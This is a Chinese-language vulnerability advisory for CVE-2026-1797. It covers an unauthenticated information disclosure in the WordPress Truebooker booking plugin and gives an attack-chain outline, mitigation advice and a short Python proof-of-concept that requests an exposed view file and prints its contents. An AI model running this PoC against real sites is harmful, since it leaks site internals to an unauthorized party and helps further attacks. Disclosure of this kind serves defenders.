IPBUF安全漏洞报告
English
CVE-2026-1797 CVSS 5.3 中危

CVE-2026-1797 WordPress Truebooker信息泄露漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-1797
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Appointment Booking and Scheduler Plugin – Truebooker

相关标签

敏感信息泄露WordPressTruebookerCVE-2026-1797无需认证

漏洞概述

WordPress的“预约预订和计划插件——Truebooker”在所有1.1.4及以下版本中存在敏感信息泄露漏洞。该漏洞源于插件对视图PHP文件的保护不当,允许未经身份验证的攻击者通过直接访问这些文件来查看潜在的敏感信息。由于无需用户交互且攻击复杂度低,该漏洞对使用受影响版本的网站构成中等风险。

技术细节

该漏洞的根本原因在于WordPress插件Truebooker未能正确限制对插件目录下视图文件的直接访问。在WordPress插件开发规范中,视图文件通常仅作为模板被主文件引用,不应暴露给公网直接访问。然而,受影响的Truebooker插件在`/main/views/`目录下的PHP文件缺少必要的访问控制检查(如`ABSPATH`常量检查)。攻击者无需任何权限或用户交互,只需构造特定的HTTP请求直接访问视图文件URL(例如`/wp-content/plugins/truebooker-appointment-booking/main/views/truebooker-user.php`),服务器便会直接解析或输出文件内容。这可能导致源代码片段、内部路径结构或调试信息泄露。攻击者可利用这些信息辅助进行后续的深度攻击。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别目标网站是否安装了WordPress以及Truebooker插件,并确定其版本是否在1.1.4及以下。
STEP 2
步骤2:利用
攻击者构造针对`/wp-content/plugins/truebooker-appointment-booking/main/views/`目录下PHP文件的直接访问请求,无需登录即可发送。
STEP 3
步骤3:信息泄露
服务器响应请求,直接返回视图文件的源代码或执行输出,导致敏感信息(如路径、代码逻辑)泄露给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target vulnerable URL path # Replace 'example.com' with the actual target domain target_url = "http://example.com/wp-content/plugins/truebooker-appointment-booking/main/views/truebooker-user.php" try: # Send a GET request without authentication response = requests.get(target_url, timeout=10) # Check if the request was successful (HTTP 200) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Sensitive information exposed:") print(response.text[:500]) # Print first 500 characters to demonstrate exposure else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

Appointment Booking and Scheduler Plugin – Truebooker <= 1.1.4

防御指南

临时缓解措施
建议立即将插件升级到最新版本。若无法立即升级,应通过Web服务器配置规则(如Nginx或Apache的配置文件)阻断对`/wp-content/plugins/truebooker-appointment-booking/main/views/`目录的外部访问,或者暂时卸载该插件以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表